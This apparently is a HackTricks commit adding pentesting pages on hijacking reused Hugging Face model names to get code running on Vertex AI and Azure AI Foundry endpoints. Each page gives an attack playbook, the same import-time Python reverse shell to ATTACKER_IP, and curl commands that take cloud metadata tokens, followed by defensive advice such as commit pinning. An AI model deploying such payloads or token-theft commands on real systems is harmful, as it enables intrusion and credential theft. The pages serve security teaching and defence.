Skip to content

Commit 5b5e339

Browse files
author
HackTricks News Bot
committed
Add content from: Model Namespace Reuse: An AI Supply-Chain Attack Exploiting ...
- Remove searchindex.js (auto-generated file)
1 parent 5bd2aaf commit 5b5e339

6 files changed

Lines changed: 312 additions & 0 deletions

File tree

‎src/SUMMARY.md‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -96,6 +96,7 @@
9696
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
9797
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
9898
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
99+
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
99100
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
100101
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
101102
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
@@ -461,6 +462,7 @@
461462
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
462463
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md)
463464
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
465+
- [Az Azure Ai Foundry Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md)
464466
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
465467
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
466468
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)

‎src/pentesting-cloud/azure-security/az-post-exploitation/README.md‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,8 @@
22

33
{{#include ../../../banners/hacktricks-training.md}}
44

5+
{{#ref}}
6+
az-azure-ai-foundry-post-exploitation.md
7+
{{#endref}}
58

9+
{{#include ../../../banners/hacktricks-training.md}}

‎src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md‎

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## Scenario
6+
7+
- Azure AI Foundry Model Catalog includes many Hugging Face (HF) models for one-click deployment.
8+
- HF model identifiers are Author/ModelName. If an HF author/org is deleted, anyone can re-register that author and publish a model with the same ModelName at the legacy path.
9+
- Pipelines and catalogs that pull by name only (no commit pinning/integrity) will resolve to attacker-controlled repos. When Azure deploys the model, loader code can execute in the endpoint environment, granting RCE with that endpoint’s permissions.
10+
11+
Common HF takeover cases:
12+
- Ownership deletion: Old path 404 until takeover.
13+
- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path.
14+
15+
## Identifying Reusable Namespaces (HF)
16+
17+
```bash
18+
# Check author/org existence
19+
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
20+
21+
# Check model path
22+
curl -I https://huggingface.co/<Author>/<ModelName>
23+
# 307 -> redirect (transfer case), 404 -> deleted until takeover
24+
```
25+
26+
## End-to-end Attack Flow against Azure AI Foundry
27+
28+
1) In the Model Catalog, find HF models whose original authors were deleted or transferred (old author removed) on HF.
29+
2) Re-register the abandoned author on HF and recreate the ModelName.
30+
3) Publish a malicious repo with loader code that executes on import or requires trust_remote_code=True.
31+
4) Deploy the legacy Author/ModelName from Azure AI Foundry. The platform pulls the attacker repo; loader executes inside the Azure endpoint container/VM, yielding RCE with endpoint permissions.
32+
33+
Example payload fragment executed on import (for demonstration only):
34+
35+
```python
36+
# __init__.py or a module imported by the model loader
37+
import os, socket, subprocess, threading
38+
39+
def _rs(host, port):
40+
s = socket.socket(); s.connect((host, port))
41+
for fd in (0,1,2):
42+
try:
43+
os.dup2(s.fileno(), fd)
44+
except Exception:
45+
pass
46+
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
47+
48+
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
49+
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
50+
```
51+
52+
Notes
53+
- AI Foundry deployments that integrate HF typically clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some paths require trust_remote_code=True.
54+
- Access usually matches the endpoint’s managed identity/service principal permissions. Treat it as an initial access foothold for data access and lateral movement within Azure.
55+
56+
## Post-Exploitation Tips (Azure Endpoint)
57+
58+
- Enumerate environment variables and MSI endpoints for tokens:
59+
60+
```bash
61+
# Azure Instance Metadata Service (inside Azure compute)
62+
curl -H "Metadata: true" \
63+
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
64+
```
65+
66+
- Check mounted storage, model artifacts, and reachable Azure services with the acquired token.
67+
- Consider persistence by leaving poisoned model artifacts if the platform re-pulls from HF.
68+
69+
## Defensive Guidance for Azure AI Foundry Users
70+
71+
- Pin models by commit when loading from HF:
72+
73+
```python
74+
from transformers import AutoModel
75+
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
76+
```
77+
78+
- Mirror vetted HF models to a trusted internal registry and deploy from there.
79+
- Continuously scan codebases and defaults/docstrings/notebooks for hard-coded Author/ModelName that are deleted/transferred; update or pin.
80+
- Validate author existence and model provenance prior to deployment.
81+
82+
## Recognition Heuristics (HTTP)
83+
84+
- Deleted author: author page 404; legacy model path 404 until takeover.
85+
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
86+
87+
```bash
88+
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
89+
```
90+
91+
## Cross-References
92+
93+
- See broader methodology and supply-chain notes:
94+
95+
{{#ref}}
96+
../../pentesting-cloud-methodology.md
97+
{{#endref}}
98+
99+
## References
100+
101+
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
102+
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
103+
104+
{{#include ../../../banners/hacktricks-training.md}}

‎src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,8 @@
22

33
{{#include ../../../banners/hacktricks-training.md}}
44

5+
{{#ref}}
6+
gcp-vertex-ai-post-exploitation.md
7+
{{#endref}}
58

9+
{{#include ../../../banners/hacktricks-training.md}}

‎src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md‎

Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## Scenario
6+
7+
- Vertex AI Model Garden allows direct deployment of many Hugging Face (HF) models.
8+
- HF model identifiers are Author/ModelName. If an author/org on HF is deleted, the same author name can be re-registered by anyone. Attackers can then create a repo with the same ModelName at the legacy path.
9+
- Pipelines, SDKs, or cloud catalogs that fetch by name only (no pinning/integrity) will pull the attacker-controlled repo. When the model is deployed, loader code from that repo can execute inside the Vertex AI endpoint container, yielding RCE with the endpoint’s permissions.
10+
11+
Two common takeover cases on HF:
12+
- Ownership deletion: Old path 404 until someone re-registers the author and publishes the same ModelName.
13+
- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attacker’s repo serves at the legacy path.
14+
15+
## Identifying Reusable Namespaces (HF)
16+
17+
- Old author deleted: the page for the author returns 404; model path may return 404 until takeover.
18+
- Transferred models: the old model path issues 307 to the new owner while the old author exists. If the old author is later deleted and re-registered, the legacy path will resolve to the attacker’s repo.
19+
20+
Quick checks with curl:
21+
22+
```bash
23+
# Check author/org existence
24+
curl -I https://huggingface.co/<Author>
25+
# 200 = exists, 404 = deleted/available
26+
27+
# Check old model path behavior
28+
curl -I https://huggingface.co/<Author>/<ModelName>
29+
# 307 = redirect to new owner (transfer case)
30+
# 404 = missing (deletion case) until someone re-registers
31+
```
32+
33+
## End-to-end Attack Flow against Vertex AI
34+
35+
1) Discover reusable model namespaces that Model Garden lists as deployable:
36+
- Find HF models in Vertex AI Model Garden that still show as “verified deployable”.
37+
- Verify on HF if the original author is deleted or if the model was transferred and the old author was later removed.
38+
39+
2) Re-register the deleted author on HF and recreate the same ModelName.
40+
41+
3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
42+
- Side effects in __init__.py of the repo
43+
- Custom modeling_*.py or processing code referenced by config/auto_map
44+
- Code paths that require trust_remote_code=True in Transformers pipelines
45+
46+
4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.
47+
48+
5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions.
49+
50+
Example payload fragment executed on import (for demonstration only):
51+
52+
```python
53+
# Place in __init__.py or a module imported by the model loader
54+
import os, socket, subprocess, threading
55+
56+
def _rs(host, port):
57+
s = socket.socket(); s.connect((host, port))
58+
for fd in (0,1,2):
59+
try:
60+
os.dup2(s.fileno(), fd)
61+
except Exception:
62+
pass
63+
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
64+
65+
if os.environ.get("VTX_AI","1") == "1":
66+
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
67+
```
68+
69+
Notes
70+
- Real-world loaders vary. Many Vertex AI HF integrations clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some uses require trust_remote_code=True.
71+
- The endpoint typically runs in a dedicated container with limited scope, but it is a valid initial foothold for data access and lateral movement in GCP.
72+
73+
## Post-Exploitation Tips (Vertex AI Endpoint)
74+
75+
Once code is running inside the endpoint container, consider:
76+
- Enumerating environment variables and metadata for credentials/tokens
77+
- Accessing attached storage or mounted model artifacts
78+
- Interacting with Google APIs via service account identity (Document AI, Storage, Pub/Sub, etc.)
79+
- Persistence in the model artifact if the platform re-pulls the repo
80+
81+
Enumerate instance metadata if accessible (container dependent):
82+
83+
```bash
84+
curl -H "Metadata-Flavor: Google" \
85+
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
86+
```
87+
88+
## Defensive Guidance for Vertex AI Users
89+
90+
- Pin models by commit in HF loaders to prevent silent replacement:
91+
92+
```python
93+
from transformers import AutoModel
94+
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
95+
```
96+
97+
- Mirror vetted HF models into a trusted internal artifact store/registry and deploy from there.
98+
- Continuously scan codebases and configs for hard-coded Author/ModelName that are deleted/transferred; update to new namespaces or pin by commit.
99+
- In Model Garden, verify model provenance and author existence before deployment.
100+
101+
## Recognition Heuristics (HTTP)
102+
103+
- Deleted author: author page 404; legacy model path 404 until takeover.
104+
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
105+
106+
```bash
107+
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
108+
```
109+
110+
## Cross-References
111+
112+
- See broader methodology and supply-chain notes:
113+
114+
{{#ref}}
115+
../../pentesting-cloud-methodology.md
116+
{{#endref}}
117+
118+
## References
119+
120+
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
121+
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
122+
123+
{{#include ../../../banners/hacktricks-training.md}}

‎src/pentesting-cloud/pentesting-cloud-methodology.md‎

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -420,6 +420,75 @@ A tool to find a company (target) infrastructure, files, and apps on the top clo
420420

421421
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
422422

423+
## AI/ML Model Registry Supply-Chain Attacks (Hugging Face Namespace Reuse)
424+
425+
A systemic weakness in how models are referenced and deployed can be abused across clouds and OSS: many pipelines resolve models by Author/ModelName (e.g., Hugging Face), without pinning to a specific commit or verifying integrity. If an author/org on Hugging Face is deleted, anyone can re-register the same author name and recreate the same ModelName, silently replacing what downstream systems pull when they resolve by name only. Transferred models can also be abused by breaking the old-path redirect if the old author is later deleted and re-registered by an attacker.
426+
427+
Key cases on Hugging Face hub:
428+
- Ownership deletion: old Author/ModelName returns 404 until takeover by a new account that recreates the author and model.
429+
- Ownership transfer: old Author/ModelName issues 307 to the new author; if the old author is later deleted and re-registered by an attacker, the legacy path resolves to attacker content.
430+
431+
Recognition heuristics (HTTP):
432+
433+
```bash
434+
# Author existence
435+
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
436+
437+
# Legacy model path behavior
438+
curl -I https://huggingface.co/<Author>/<ModelName> # 307 redirect (transfer) | 404 deleted until takeover
439+
```
440+
441+
Exploitation playbook (abstract):
442+
1) Identify reusable namespaces (deleted authors or transferred models whose old author was removed) still referenced by code, defaults, notebooks, docs, or cloud model catalogs.
443+
2) Re-register the abandoned author on Hugging Face; recreate the same ModelName under that author.
444+
3) Publish a malicious repo. Ensure model loader executes code on import (e.g., __init__.py side effects, custom modeling_*.py referenced by auto_map). Some loaders require trust_remote_code=True.
445+
4) Rely on downstream systems that fetch by name only. When they deploy or from_pretrained("Author/ModelName"), the attacker’s code executes inside the target runtime (e.g., cloud inference endpoint container/VM) with that endpoint’s permissions.
446+
447+
Payload on load (example):
448+
449+
```python
450+
# __init__.py or a module imported by model loader
451+
import os, socket, subprocess, threading
452+
453+
def _rs(host, port):
454+
s = socket.socket(); s.connect((host, port))
455+
for fd in (0,1,2):
456+
try:
457+
os.dup2(s.fileno(), fd)
458+
except Exception:
459+
pass
460+
subprocess.call(["/bin/sh","-i"]) # demo purposes only
461+
462+
# Gate on an env var if desired
463+
if os.environ.get("INFERENCE_ENDPOINT","1") == "1":
464+
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
465+
```
466+
467+
Cloud platform impact and examples:
468+
- Google Vertex AI Model Garden: direct deploy of HF models; hijacked namespaces can yield RCE in the endpoint container when the platform loads attacker repo code.
469+
470+
{{#ref}}
471+
gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
472+
{{#endref}}
473+
474+
- Microsoft Azure AI Foundry: Model Catalog includes HF models; hijacked namespaces can yield RCE in the deployed endpoint with that endpoint’s permissions.
475+
476+
{{#ref}}
477+
azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
478+
{{#endref}}
479+
480+
Detection and hardening:
481+
- Treat Author/ModelName like any third-party dependency. Continuously scan codebases, defaults, docstrings, comments, model cards, and notebooks for HF identifiers and resolve their current ownership.
482+
- Pin to a specific commit in loaders to prevent silent replacement:
483+
484+
```python
485+
from transformers import AutoModel
486+
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
487+
```
488+
489+
- Clone vetted models to trusted internal registries/artifact stores and reference those in production.
490+
- Before deploying from cloud model catalogs, verify the current author and provenance of the referenced HF model. Be aware that catalog verifications can drift if upstream authors are deleted/re-registered.
491+
423492
## Google
424493

425494
### GCP
@@ -454,6 +523,12 @@ azure-security/
454523

455524
You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**.
456525

526+
## References
527+
528+
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
529+
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
530+
- [Transformers docs: Security and remote code](https://huggingface.co/docs/transformers/installation#security-and-remote-code)
531+
457532
{{#include ../banners/hacktricks-training.md}}
458533

459534

0 commit comments

Comments
 (0)